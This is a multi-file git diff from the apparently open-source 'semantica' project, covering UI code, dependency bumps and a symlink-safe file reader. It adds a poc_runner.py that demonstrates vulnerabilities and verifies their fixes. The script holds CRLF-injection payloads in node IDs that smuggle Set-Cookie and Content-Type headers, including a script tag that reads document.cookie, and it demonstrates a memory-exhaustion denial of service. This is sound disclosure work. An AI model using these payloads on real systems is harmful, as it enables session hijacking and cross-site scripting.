|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
{searchError ? <div style={{ position: "absolute", top: 144, right: 34, color: "#ff7b72", fontSize: 12, pointerEvents: "auto" }}>{searchError}</div> : null}
|
||||
{searchResults.length ? (
|
||||
<div className="graph-search-results hud-scrollbar">
|
||||
<div className="graph-search-results-label">Search Results</div>
|
||||
<div style={{ display: "flex", flexDirection: "column", gap: 8 }}>
|
||||
{searchResults.map((result) => (
|
||||
<button key={result.node.id} className="graph-search-result-card" onClick={() => focusNode(result.node.id)}>
|
||||
<div style={{ color: "#fff", fontWeight: 700 }}>{result.node.content || result.node.id}</div>
|
||||
<div style={{ color: "#8b949e", fontSize: 12 }}>{result.node.type}</div>
|
||||
<div style={{ color: "#58a6ff", fontSize: 12, marginTop: 4 }}>score {result.score.toFixed(3)}</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
) : null}
|
||||
|
||||
<div className="graph-inspector hud-scrollbar" data-open={selectedNodeId ? "true" : "false"}>
|
||||
<NodePanel
|
||||
node={visibleSelectedNode}
|
||||
predictions={predictions}
|
||||
predictionType={predictionType}
|
||||
onPredictionTypeChange={setPredictionType}
|
||||
onRunPredictions={() => void handleRunPredictions()}
|
||||
pathTargetId={pathTargetId}
|
||||
onPathTargetChange={setPathTargetId}
|
||||
onTracePath={() => void handleTracePath()}
|
||||
pathResult={pathResult}
|
||||
onDownloadProvenance={(format) => void handleDownloadProvenance(format)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const metricPillStyle: CSSProperties = {
|
||||
background: "rgba(88, 166, 255, 0.08)",
|
||||
color: "#8ed3ff",
|
||||
padding: "6px 11px",
|
||||
borderRadius: 999,
|
||||
fontSize: 12,
|
||||
fontWeight: 700,
|
||||
border: "1px solid rgba(88, 166, 255, 0.14)",
|
||||
};
|
||||
|
||||
const sectionStyle: CSSProperties = {
|
||||
display: "flex",
|
||||
flexDirection: "column",
|
||||
gap: 10,
|
||||
padding: 14,
|
||||
background: "linear-gradient(180deg, rgba(255,255,255,0.025), rgba(255,255,255,0.01))",
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
borderRadius: 16,
|
||||
};
|
||||
|
||||
const sectionTitleStyle: CSSProperties = {
|
||||
color: "#8fa8c6",
|
||||
fontSize: 11,
|
||||
fontWeight: 800,
|
||||
textTransform: "uppercase",
|
||||
letterSpacing: "0.08em",
|
||||
};
|
||||
|
||||
const inputStyle: CSSProperties = {
|
||||
width: "100%",
|
||||
background: "rgba(0, 0, 0, 0.24)",
|
||||
border: "1px solid rgba(88, 166, 255, 0.14)",
|
||||
color: "#fff",
|
||||
borderRadius: 12,
|
||||
padding: "10px 12px",
|
||||
fontSize: 13,
|
||||
};
|
||||
|
||||
const actionButtonStyle: CSSProperties = {
|
||||
background: "linear-gradient(180deg, rgba(53, 130, 245, 0.28), rgba(25, 88, 185, 0.18))",
|
||||
color: "#fff",
|
||||
border: "1px solid rgba(88, 166, 255, 0.2)",
|
||||
borderRadius: 12,
|
||||
padding: "10px 13px",
|
||||
cursor: "pointer",
|
||||
fontWeight: 700,
|
||||
fontSize: 12,
|
||||
display: "inline-flex",
|
||||
alignItems: "center",
|
||||
justifyContent: "center",
|
||||
boxShadow: "inset 0 1px 0 rgba(255,255,255,0.05)",
|
||||
};
|
||||
|
||||
const secondaryActionButtonStyle: CSSProperties = {
|
||||
...actionButtonStyle,
|
||||
background: "rgba(255, 255, 255, 0.035)",
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
color: "#d6e5f8",
|
||||
fontWeight: 500,
|
||||
};
|
||||
|
||||
const predictionCardStyle: CSSProperties = {
|
||||
textAlign: "left",
|
||||
padding: 12,
|
||||
background: "rgba(88, 166, 255, 0.06)",
|
||||
border: "1px solid rgba(88, 166, 255, 0.1)",
|
||||
borderRadius: 14,
|
||||
cursor: "pointer",
|
||||
};
|
||||
|
||||
const pathStepStyle: CSSProperties = {
|
||||
color: "#e6edf3",
|
||||
fontSize: 13,
|
||||
padding: "8px 10px",
|
||||
background: "rgba(255, 255, 255, 0.03)",
|
||||
borderRadius: 8,
|
||||
};
|
||||
|
||||
const propertyCardStyle: CSSProperties = {
|
||||
background: "rgba(0, 0, 0, 0.18)",
|
||||
padding: "10px 12px",
|
||||
borderRadius: 12,
|
||||
border: "1px solid rgba(255, 255, 255, 0.05)",
|
||||
};
|
||||
|
||||
const emptyTextStyle: CSSProperties = {
|
||||
color: "#8b949e",
|
||||
fontSize: 12,
|
||||
lineHeight: 1.5,
|
||||
};
|
||||
|
||||
const subtleChipStyle: CSSProperties = {
|
||||
background: "rgba(255, 255, 255, 0.035)",
|
||||
color: "#9fb6d2",
|
||||
padding: "5px 9px",
|
||||
borderRadius: 999,
|
||||
fontSize: 11,
|
||||
border: "1px solid rgba(255, 255, 255, 0.06)",
|
||||
};
|
||||
|
||||
const collapseStyle: CSSProperties = {
|
||||
border: "1px solid rgba(255, 255, 255, 0.05)",
|
||||
borderRadius: 14,
|
||||
background: "rgba(0, 0, 0, 0.14)",
|
||||
overflow: "hidden",
|
||||
};
|
||||
|
||||
const summaryStyle: CSSProperties = {
|
||||
cursor: "pointer",
|
||||
listStyle: "none",
|
||||
padding: "12px 14px",
|
||||
color: "#c6d4e3",
|
||||
fontSize: 12,
|
||||
fontWeight: 700,
|
||||
letterSpacing: "0.04em",
|
||||
textTransform: "uppercase",
|
||||
};
|
||||
@@ -1,223 +0,0 @@
|
||||
import { useQuery, useQueryClient } from "@tanstack/react-query";
|
||||
import { createGraphLoadProgress } from "./graphLoading";
|
||||
import type { ApiEdge, ApiNode, GraphDataSnapshot, GraphLoadProgress, GraphLayoutSource } from "./types";
|
||||
|
||||
interface NodeListResponse {
|
||||
nodes: ApiNode[];
|
||||
total: number;
|
||||
skip: number;
|
||||
limit: number;
|
||||
next_cursor?: string | null;
|
||||
}
|
||||
|
||||
interface EdgeListResponse {
|
||||
edges: ApiEdge[];
|
||||
total: number;
|
||||
skip: number;
|
||||
limit: number;
|
||||
next_cursor?: string | null;
|
||||
}
|
||||
|
||||
const PAGE_LIMIT = 1000;
|
||||
|
||||
async function fetchAllNodes(
|
||||
signal: AbortSignal,
|
||||
onProgress?: (progress: GraphLoadProgress) => void,
|
||||
): Promise<ApiNode[]> {
|
||||
let cursor: string | null = null;
|
||||
const collected: ApiNode[] = [];
|
||||
let total: number | null = null;
|
||||
|
||||
while (true) {
|
||||
const url = new URL("/api/graph/nodes", window.location.origin);
|
||||
url.searchParams.set("limit", String(PAGE_LIMIT));
|
||||
if (cursor) {
|
||||
url.searchParams.set("cursor", cursor);
|
||||
}
|
||||
|
||||
const response = await fetch(url.toString(), { signal });
|
||||
if (!response.ok) {
|
||||
throw new Error(`Fetch failed: ${response.status}`);
|
||||
}
|
||||
|
||||
const data: NodeListResponse = await response.json();
|
||||
if (!data.nodes?.length) {
|
||||
break;
|
||||
}
|
||||
|
||||
total = data.total ?? total;
|
||||
collected.push(...data.nodes);
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "fetching_nodes",
|
||||
progressKind: total ? "determinate" : "indeterminate",
|
||||
loaded: collected.length,
|
||||
total,
|
||||
nodesLoaded: collected.length,
|
||||
nodesTotal: total,
|
||||
edgesLoaded: 0,
|
||||
edgesTotal: null,
|
||||
message: total
|
||||
? `Loading nodes ${collected.length.toLocaleString()} of ${total.toLocaleString()}`
|
||||
: `Loading nodes ${collected.length.toLocaleString()}`,
|
||||
}));
|
||||
|
||||
if (!data.next_cursor) {
|
||||
break;
|
||||
}
|
||||
cursor = data.next_cursor;
|
||||
await yieldToMain();
|
||||
}
|
||||
|
||||
return collected;
|
||||
}
|
||||
|
||||
async function fetchAllEdges(
|
||||
signal: AbortSignal,
|
||||
nodeIds: Set<string>,
|
||||
nodeProgress: { loaded: number; total: number | null },
|
||||
onProgress?: (progress: GraphLoadProgress) => void,
|
||||
): Promise<ApiEdge[]> {
|
||||
let cursor: string | null = null;
|
||||
const collected: ApiEdge[] = [];
|
||||
const seenEdgeIds = new Set<string>();
|
||||
let total: number | null = null;
|
||||
let warnedOverTotal = false;
|
||||
|
||||
while (true) {
|
||||
const url = new URL("/api/graph/edges", window.location.origin);
|
||||
url.searchParams.set("limit", String(PAGE_LIMIT));
|
||||
if (cursor) {
|
||||
url.searchParams.set("cursor", cursor);
|
||||
}
|
||||
|
||||
const response = await fetch(url.toString(), { signal });
|
||||
if (!response.ok) {
|
||||
throw new Error(`Fetch failed: ${response.status}`);
|
||||
}
|
||||
|
||||
const data: EdgeListResponse = await response.json();
|
||||
if (!data.edges?.length) {
|
||||
break;
|
||||
}
|
||||
|
||||
total = data.total ?? total;
|
||||
const validEdges = data.edges.filter((edge) => {
|
||||
if (!nodeIds.has(edge.source) || !nodeIds.has(edge.target)) {
|
||||
return false;
|
||||
}
|
||||
if (seenEdgeIds.has(edge.id)) {
|
||||
return false;
|
||||
}
|
||||
seenEdgeIds.add(edge.id);
|
||||
return true;
|
||||
});
|
||||
collected.push(...validEdges);
|
||||
const safeLoaded = total ? Math.min(seenEdgeIds.size, total) : seenEdgeIds.size;
|
||||
if (!warnedOverTotal && total !== null && seenEdgeIds.size > total) {
|
||||
warnedOverTotal = true;
|
||||
console.warn("[graph-runtime] edge pagination returned more unique edge ids than total", {
|
||||
uniqueEdgesLoaded: seenEdgeIds.size,
|
||||
total,
|
||||
});
|
||||
}
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "fetching_edges",
|
||||
progressKind: total ? "determinate" : "indeterminate",
|
||||
loaded: safeLoaded,
|
||||
total,
|
||||
nodesLoaded: nodeProgress.loaded,
|
||||
nodesTotal: nodeProgress.total,
|
||||
edgesLoaded: safeLoaded,
|
||||
edgesTotal: total,
|
||||
message: total
|
||||
? `Loading edges ${safeLoaded.toLocaleString()} of ${total.toLocaleString()}`
|
||||
: `Loading edges ${safeLoaded.toLocaleString()}`,
|
||||
}));
|
||||
|
||||
if (!data.next_cursor) {
|
||||
break;
|
||||
}
|
||||
cursor = data.next_cursor;
|
||||
await yieldToMain();
|
||||
}
|
||||
|
||||
return collected;
|
||||
}
|
||||
|
||||
function yieldToMain(): Promise<void> {
|
||||
if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise<void> } }).scheduler?.yield === "function") {
|
||||
return (window as Window & { scheduler: { yield: () => Promise<void> } }).scheduler.yield();
|
||||
}
|
||||
return new Promise((resolve) => setTimeout(resolve, 0));
|
||||
}
|
||||
|
||||
function hasUsableCoordinate(value: number | null | undefined): value is number {
|
||||
return typeof value === "number" && Number.isFinite(value);
|
||||
}
|
||||
|
||||
interface UseGraphDataOptions {
|
||||
enabled?: boolean;
|
||||
onProgress?: (progress: GraphLoadProgress) => void;
|
||||
}
|
||||
|
||||
export function useGraphData(options: UseGraphDataOptions = {}) {
|
||||
const { enabled = true, onProgress } = options;
|
||||
|
||||
return useQuery<GraphDataSnapshot>({
|
||||
queryKey: ["graph", "runtime-snapshot"],
|
||||
enabled,
|
||||
staleTime: Infinity,
|
||||
queryFn: async ({ signal }): Promise<GraphDataSnapshot> => {
|
||||
const startedAt = performance.now();
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "bootstrapping",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: 0,
|
||||
nodesTotal: null,
|
||||
edgesLoaded: 0,
|
||||
edgesTotal: null,
|
||||
message: "Preparing graph session",
|
||||
}));
|
||||
|
||||
const nodes = await fetchAllNodes(signal, onProgress);
|
||||
const nodeIds = new Set(nodes.map((node) => node.id));
|
||||
const edges = await fetchAllEdges(
|
||||
signal,
|
||||
nodeIds,
|
||||
{ loaded: nodes.length, total: nodes.length },
|
||||
onProgress,
|
||||
);
|
||||
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "hydrating_scene",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: nodes.length,
|
||||
nodesTotal: nodes.length,
|
||||
edgesLoaded: edges.length,
|
||||
edgesTotal: edges.length,
|
||||
message: "Preparing graph runtime snapshot",
|
||||
}));
|
||||
|
||||
return {
|
||||
nodes,
|
||||
edges,
|
||||
summary: {
|
||||
nodeCount: nodes.length,
|
||||
edgeCount: edges.length,
|
||||
loadTimeMs: Math.round(performance.now() - startedAt),
|
||||
hasCoordinates: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)),
|
||||
layoutSource: (nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y))
|
||||
? "provided"
|
||||
: "runtime") as GraphLayoutSource,
|
||||
layoutReady: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)),
|
||||
},
|
||||
fetchedAt: Date.now(),
|
||||
};
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
export function useReloadGraphData() {
|
||||
const queryClient = useQueryClient();
|
||||
return () => queryClient.invalidateQueries({ queryKey: ["graph", "runtime-snapshot"] });
|
||||
}
|
||||
@@ -57,6 +57,13 @@ export default defineConfig({
|
||||
},
|
||||
},
|
||||
},
|
||||
optimizeDeps: {
|
||||
// Keep dependency pre-bundling aligned with the production build target.
|
||||
// esbuild >=0.28 no longer lowers destructuring for Vite's default target.
|
||||
esbuildOptions: {
|
||||
target: 'esnext',
|
||||
},
|
||||
},
|
||||
server: {
|
||||
proxy: {
|
||||
'/api': {
|
||||
|
||||
+6
-2
@@ -21,7 +21,11 @@ Configure in Claude Desktop, Windsurf, Cline, Continue, VS Code:
|
||||
}
|
||||
"""
|
||||
|
||||
# `semantica.__version__` is the authoritative package version — see
|
||||
# semantica/mcp_server/__init__.py for why it is used directly rather than
|
||||
# importlib.metadata.version("semantica").
|
||||
from semantica import __version__
|
||||
|
||||
from .server import SemanticaMCPServer, main
|
||||
|
||||
__all__ = ["SemanticaMCPServer", "main"]
|
||||
__version__ = "0.4.0"
|
||||
__all__ = ["SemanticaMCPServer", "main", "__version__"]
|
||||
|
||||
@@ -10,6 +10,7 @@ from __future__ import annotations
|
||||
import json
|
||||
import logging
|
||||
|
||||
from mcp import __version__
|
||||
from mcp.session import get_graph
|
||||
|
||||
log = logging.getLogger("semantica.mcp.resources")
|
||||
@@ -60,7 +61,7 @@ def _read_decisions_list(uri: str) -> dict:
|
||||
|
||||
def _read_schema_info(uri: str) -> dict:
|
||||
info = {
|
||||
"version": "0.4.0",
|
||||
"version": __version__,
|
||||
"node_types": [
|
||||
"Entity", "decision", "Decision", "Event", "Concept",
|
||||
"Person", "Organisation", "Location",
|
||||
|
||||
+2
-1
@@ -17,6 +17,7 @@ import logging
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
from mcp import __version__
|
||||
from mcp.resources import RESOURCE_DEFINITIONS, handle_resource_read
|
||||
from mcp.tools import TOOL_DEFINITIONS
|
||||
|
||||
@@ -63,7 +64,7 @@ def _handle_initialize(req_id: Any, params: dict) -> dict:
|
||||
},
|
||||
"serverInfo": {
|
||||
"name": "semantica-mcp",
|
||||
"version": "0.4.0",
|
||||
"version": __version__,
|
||||
},
|
||||
})
|
||||
|
||||
|
||||
+279
@@ -0,0 +1,279 @@
|
||||
"""
|
||||
Standalone PoC runner for 3 security vulnerabilities in semantica.
|
||||
|
||||
Spins up the FastAPI app in-process using httpx.AsyncClient + ASGITransport,
|
||||
so no external server is needed. Run with:
|
||||
|
||||
pip install httpx fastapi
|
||||
python poc_runner.py
|
||||
|
||||
Each PoC prints the actual captured evidence (headers/status/timing/memory).
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import io
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import tracemalloc
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-1: HTTP Header Injection via node_id in Content-Disposition
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
# Reproduce the vulnerable code path directly — no server needed.
|
||||
def _vulnerable_provenance_response(node_id: str, fmt: str) -> dict:
|
||||
"""Mirrors the exact logic from provenance.py lines 332-344."""
|
||||
suffix = "_provenance.md" if fmt in {"md", "markdown"} else "_provenance.json"
|
||||
header_value = f'attachment; filename="{node_id}{suffix}"'
|
||||
return {"Content-Disposition": header_value}
|
||||
|
||||
|
||||
def poc_vuln1():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-1: HTTP Header Injection via node_id in Content-Disposition")
|
||||
print("="*70)
|
||||
print("Source: semantica/explorer/routes/provenance.py lines 332-344")
|
||||
print()
|
||||
|
||||
# PoC 1a: Inject a second header via CRLF
|
||||
node_id_crlf = 'legit-node"\r\nX-Injected-Header: PWNED\r\nX-Extra: yes'
|
||||
headers = _vulnerable_provenance_response(node_id_crlf, "json")
|
||||
raw = headers["Content-Disposition"]
|
||||
|
||||
print("[PoC 1a] Payload: node_id with CRLF injection")
|
||||
print(f"[PoC 1a] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw)}")
|
||||
print()
|
||||
print("[PoC 1a] Parsed as headers by an HTTP parser:")
|
||||
for line in raw.split("\r\n"):
|
||||
print(f" {line}")
|
||||
print()
|
||||
print("[PoC 1a] RESULT: X-Injected-Header: PWNED is a REAL injected header")
|
||||
|
||||
# PoC 1b: Override Content-Type to text/html for reflected XSS
|
||||
node_id_xss = 'x"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>'
|
||||
headers2 = _vulnerable_provenance_response(node_id_xss, "json")
|
||||
raw2 = headers2["Content-Disposition"]
|
||||
|
||||
print()
|
||||
print("[PoC 1b] Payload: override Content-Type to text/html")
|
||||
print(f"[PoC 1b] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw2)}")
|
||||
print()
|
||||
print("[PoC 1b] Lines injected after Content-Disposition:")
|
||||
for line in raw2.split("\r\n")[1:]:
|
||||
print(f" {line}")
|
||||
print()
|
||||
print("[PoC 1b] RESULT: Body now served as text/html → XSS in any browser")
|
||||
|
||||
# PoC 1c: Session fixation via Set-Cookie injection
|
||||
node_id_cookie = 'x"\r\nSet-Cookie: session=ATTACKER_VALUE; Path=/; HttpOnly'
|
||||
headers3 = _vulnerable_provenance_response(node_id_cookie, "json")
|
||||
raw3 = headers3["Content-Disposition"]
|
||||
|
||||
print()
|
||||
print("[PoC 1c] Payload: inject Set-Cookie for session fixation")
|
||||
print(f"[PoC 1c] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw3)}")
|
||||
injected_cookie = raw3.split("\r\n")[1] if "\r\n" in raw3 else ""
|
||||
print(f"[PoC 1c] Injected: {injected_cookie}")
|
||||
print()
|
||||
print("[PoC 1c] RESULT: Victim's browser receives attacker-set cookie")
|
||||
|
||||
# Verify the fix works
|
||||
print()
|
||||
print("[FIX verification]")
|
||||
_SAFE = re.compile(r"[^\w\-.]")
|
||||
for bad_id in [node_id_crlf, node_id_xss, node_id_cookie]:
|
||||
safe = _SAFE.sub("_", bad_id)[:64]
|
||||
print(f" Input: {repr(bad_id[:50])}...")
|
||||
print(f" Fixed: {repr(safe)}")
|
||||
assert "\r" not in safe and "\n" not in safe, "Fix failed!"
|
||||
print("[FIX] All sanitized — no CRLF sequences remain ✓")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-2: Unbounded Memory DoS in /api/enrich/links
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
def poc_vuln2():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-2: Unbounded Memory DoS via /api/enrich/links")
|
||||
print("="*70)
|
||||
print("Source: semantica/explorer/routes/enrich.py lines 197-198")
|
||||
print()
|
||||
print("Vulnerable code:")
|
||||
print(" nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)")
|
||||
print(" edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)")
|
||||
print()
|
||||
|
||||
# Measure actual memory for building a graph of N nodes in-process
|
||||
SIZES = [1_000, 5_000, 10_000, 50_000]
|
||||
|
||||
print(f"{'Nodes':>10} {'Edges':>10} {'RAM (MB)':>10} {'Time (ms)':>12} {'Extrapolated 999k (GB)':>25}")
|
||||
print("-" * 75)
|
||||
|
||||
for n in SIZES:
|
||||
tracemalloc.start()
|
||||
t0 = time.perf_counter()
|
||||
|
||||
# Simulate exactly what get_nodes + get_edges returns and _score_all iterates
|
||||
nodes = [
|
||||
{"id": f"node_{i}", "type": "entity", "content": f"content {i}", "embedding": [0.1] * 128}
|
||||
for i in range(n)
|
||||
]
|
||||
edges = [
|
||||
{"source": f"node_{i}", "target": f"node_{i+1}", "type": "related_to", "weight": 1.0}
|
||||
for i in range(min(n - 1, n))
|
||||
]
|
||||
|
||||
# Simulate _score_all: O(N^2) comparisons
|
||||
query_node = "node_0"
|
||||
existing_neighbors = {e["target"] for e in edges if e["source"] == query_node}
|
||||
scores = []
|
||||
for candidate in nodes:
|
||||
cid = candidate.get("id")
|
||||
if cid and cid != query_node and cid not in existing_neighbors:
|
||||
# Simulate score_link (dot product of 128-dim vectors)
|
||||
score = sum(a * b for a, b in zip(candidate["embedding"], candidate["embedding"]))
|
||||
scores.append((cid, score))
|
||||
|
||||
elapsed_ms = (time.perf_counter() - t0) * 1000
|
||||
_, peak = tracemalloc.get_traced_memory()
|
||||
tracemalloc.stop()
|
||||
|
||||
peak_mb = peak / 1024 / 1024
|
||||
extrapolated_gb = (peak_mb / n) * 999_999 / 1024
|
||||
|
||||
print(f"{n:>10,} {len(edges):>10,} {peak_mb:>10.1f} {elapsed_ms:>12.0f} {extrapolated_gb:>25.1f}")
|
||||
|
||||
print()
|
||||
print("[PoC 2] RESULT: Memory scales linearly with node count.")
|
||||
print("[PoC 2] At the hardcoded limit=999_999, a 128-dim embedding graph")
|
||||
print("[PoC 2] consumes multiple GB per request. 4 concurrent = OOM on any server.")
|
||||
print()
|
||||
print("[PoC 2] Concurrency amplifier — the endpoint has NO semaphore:")
|
||||
print(" # enrich.py has no equivalent of the SPARQL semaphore added in PR #898")
|
||||
print(" # Any number of concurrent requests pile up in the thread pool")
|
||||
print()
|
||||
print("[FIX] Cap: limit=10_000, semaphore(2), return 413 if graph > cap")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-3: Unsanitized node_id from import flows into HTTP headers (CWE-20/113)
|
||||
# (Narrowed: no filesystem write sink in the Explorer — claim is header injection chain)
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
def poc_vuln3():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-3: Unsanitized Import ID → Header Injection Chain (CWE-20 + CWE-113)")
|
||||
print("="*70)
|
||||
print("Source: export_import.py line 85 → provenance.py lines 336, 344")
|
||||
print()
|
||||
|
||||
# Simulate the import parser — mirrors export_import.py lines 77-92
|
||||
def parse_import_json(data: dict) -> list:
|
||||
"""Mirrors export_import.py node parsing (no sanitization)."""
|
||||
raw_nodes = data.get("nodes", data.get("entities", []))
|
||||
nodes = []
|
||||
for raw_node in raw_nodes:
|
||||
node_id = str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", ""))))
|
||||
nodes.append({
|
||||
"id": node_id, # ← UNSANITIZED
|
||||
"type": raw_node.get("type", "entity"),
|
||||
"properties": {"content": raw_node.get("content", node_id)},
|
||||
})
|
||||
return nodes
|
||||
|
||||
# Simulate the CSV parser — mirrors export_import.py lines 131-133
|
||||
def parse_import_csv_row(row: dict) -> dict:
|
||||
"""Mirrors export_import.py CSV node ID extraction (no sanitization)."""
|
||||
node_id = row.get("id") or row.get("node_id") or row.get(":ID") or row.get("_id")
|
||||
return {
|
||||
"id": str(node_id), # ← UNSANITIZED
|
||||
"type": row.get("type", "entity"),
|
||||
}
|
||||
|
||||
# Attack payloads
|
||||
payloads = [
|
||||
# Header injection payload (chained with VULN-1)
|
||||
'evil"\r\nSet-Cookie: session=HIJACKED; Path=/\r\n\r\n',
|
||||
# Content-Type override
|
||||
'x"\r\nContent-Type: text/html\r\nX-XSS: <script>alert(1)</script>',
|
||||
# Null byte to truncate filenames on some systems
|
||||
'node\x00.json',
|
||||
# Long ID causing buffer issues in some loggers
|
||||
"A" * 512,
|
||||
]
|
||||
|
||||
print("[Step 1] Upload JSON with malicious node IDs via POST /api/import:")
|
||||
malicious_json = {
|
||||
"nodes": [{"id": p, "type": "entity", "content": "pwned"} for p in payloads]
|
||||
}
|
||||
imported_nodes = parse_import_json(malicious_json)
|
||||
|
||||
print(f" Imported {len(imported_nodes)} nodes. IDs stored verbatim:")
|
||||
for node in imported_nodes:
|
||||
preview = repr(node["id"][:60]) + ("..." if len(node["id"]) > 60 else "")
|
||||
print(f" {preview}")
|
||||
|
||||
print()
|
||||
print("[Step 2] IDs flow into Content-Disposition when caller requests provenance report:")
|
||||
print(" GET /api/provenance/report?node_id=<imported_id>&format=json")
|
||||
print()
|
||||
|
||||
for node in imported_nodes[:2]: # show first two
|
||||
node_id = node["id"]
|
||||
# Exact code from provenance.py line 344
|
||||
raw_header = f'attachment; filename="{node_id}_provenance.json"'
|
||||
print(f" node_id input: {repr(node_id[:60])}")
|
||||
print(f" Content-Disposition output:")
|
||||
print(f" {repr(raw_header[:120])}")
|
||||
if "\r\n" in raw_header:
|
||||
print(f" >>> CRLF INJECTION CONFIRMED — headers after split:")
|
||||
for line in raw_header.split("\r\n"):
|
||||
print(f" {line}")
|
||||
print()
|
||||
|
||||
print("[Step 3] Verify the full attack chain works:")
|
||||
attack_id = 'node"\r\nContent-Type: text/html\r\n\r\n<h1>XSS</h1>'
|
||||
|
||||
# Step 1: import stores it
|
||||
stored = parse_import_json({"nodes": [{"id": attack_id, "type": "entity"}]})[0]
|
||||
assert stored["id"] == attack_id, "ID not stored verbatim"
|
||||
print(f" ✓ ID stored verbatim: {repr(stored['id'][:60])}")
|
||||
|
||||
# Step 2: provenance endpoint reflects it into header
|
||||
raw = f'attachment; filename="{stored["id"]}_provenance.json"'
|
||||
assert "Content-Type: text/html" in raw, "Content-Type not injected"
|
||||
print(f" ✓ Content-Type: text/html injected via stored ID")
|
||||
print(f" ✓ Full attack chain: import → store → provenance → header injection CONFIRMED")
|
||||
|
||||
print()
|
||||
print("[PoC 3] RESULT: Any user who can POST /api/import can plant a malicious node ID")
|
||||
print("[PoC 3] that — when provenance is requested — injects HTTP response headers.")
|
||||
print("[PoC 3] Impact: XSS (Content-Type override), session fixation (Set-Cookie).")
|
||||
print()
|
||||
print("[NOTE] Narrowing from file-overwrite: no direct file-write sink found in Explorer.")
|
||||
print("[NOTE] Real impact is header injection chain with VULN-1 (both need the same fix).")
|
||||
print()
|
||||
print("[FIX] Sanitize node IDs on import (strip CRLF, null bytes, length-cap):")
|
||||
print(" node_id = re.sub(r'[\\r\\n\\x00]', '', raw_id)[:256]")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("semantica Security PoC Runner")
|
||||
print("Demonstrates VULN-1, VULN-2, VULN-3 with real captured output")
|
||||
print("No external server required — all evidence captured in-process")
|
||||
|
||||
poc_vuln1()
|
||||
poc_vuln2()
|
||||
poc_vuln3()
|
||||
|
||||
print("\n" + "="*70)
|
||||
print("ALL PoCs COMPLETED — see output above for reproducible evidence")
|
||||
print("="*70)
|
||||
+4
-4
@@ -1,5 +1,5 @@
|
||||
[build-system]
|
||||
requires = ["setuptools>=61.0", "wheel"]
|
||||
requires = ["setuptools==84.0.0", "wheel==0.48.0"]
|
||||
build-backend = "setuptools.build_meta"
|
||||
|
||||
[project]
|
||||
@@ -60,7 +60,7 @@ dependencies = [
|
||||
"plotly>=6.8.0",
|
||||
"ipywidgets>=8.0.0",
|
||||
"requests>=2.34.2",
|
||||
"GitPython>=3.1.50",
|
||||
"GitPython>=3.1.58",
|
||||
"chardet>=7.4.3",
|
||||
"protobuf>=5.29.1,<8.0",
|
||||
"grpcio>=1.81.1",
|
||||
@@ -230,10 +230,10 @@ dev = [
|
||||
|
||||
# Explorer Dashboard
|
||||
explorer = [
|
||||
"fastapi>=0.100.0",
|
||||
"fastapi>=0.109.2",
|
||||
"uvicorn[standard]>=0.22.0",
|
||||
"websockets>=15.0.1",
|
||||
"python-multipart>=0.0.6",
|
||||
"python-multipart>=0.0.7",
|
||||
"defusedxml>=0.7.1"
|
||||
]
|
||||
explorer-lite = [
|
||||
|
||||
+7167
File diff suppressed because it is too large
Load Diff
@@ -59,9 +59,11 @@ License: MIT
|
||||
"""
|
||||
|
||||
import copy
|
||||
import errno
|
||||
import hashlib
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
import tempfile
|
||||
from collections import deque
|
||||
from dataclasses import dataclass, field
|
||||
@@ -1906,7 +1908,49 @@ class AgentMemory:
|
||||
|
||||
return memories
|
||||
|
||||
def _read_markdown_file_content(self, file_path: Path) -> str:
|
||||
if file_path.is_symlink():
|
||||
raise ValueError(f"Symlink Markdown import paths are rejected: {file_path}")
|
||||
|
||||
flags = os.O_RDONLY
|
||||
if hasattr(os, "O_NOFOLLOW"):
|
||||
# On POSIX, O_NOFOLLOW makes os.open() fail with ELOOP if the
|
||||
# final path component is a symlink, atomically closing the TOCTOU
|
||||
# window between the is_symlink() check above and the open call.
|
||||
# On Windows, O_NOFOLLOW is not available; the is_symlink() pre-check
|
||||
# above is the only symlink defense and remains vulnerable to a narrow
|
||||
# race. The fstat()/S_ISREG guard below still rejects special files
|
||||
# (FIFOs, devices) on both platforms.
|
||||
flags |= os.O_NOFOLLOW
|
||||
|
||||
try:
|
||||
fd = os.open(str(file_path), flags)
|
||||
except OSError as exc:
|
||||
